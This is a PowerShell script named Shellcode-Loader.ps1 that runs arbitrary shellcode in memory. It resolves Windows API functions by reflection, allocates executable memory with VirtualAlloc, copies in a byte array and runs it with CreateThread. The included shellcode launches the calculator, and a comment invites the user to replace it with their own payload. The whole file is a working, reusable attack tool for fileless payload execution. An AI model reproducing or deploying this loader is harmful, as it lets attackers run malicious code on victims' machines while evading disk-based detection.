Shellcode-Loader.ps1

# start calc.exe (Will start calculator.exe), example shellcode, replace with yours
[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
            0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
            0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
            0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
            0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
            0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
            0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} 
    $handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName));
    [IntPtr] $result = 0;
    try {
        Write-Host "First Invoke - $moduleName $functionName";
        $result = $tmp[0].Invoke($null, @($handle, $functionName));
    }catch {
        Write-Host "Second Invoke - $moduleName $functionName";
        $handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle);
        $result = $tmp[0].Invoke($null, @($handle, $functionName));
    }
    return $result;
}

function getDelegateType {
    Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType() 
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)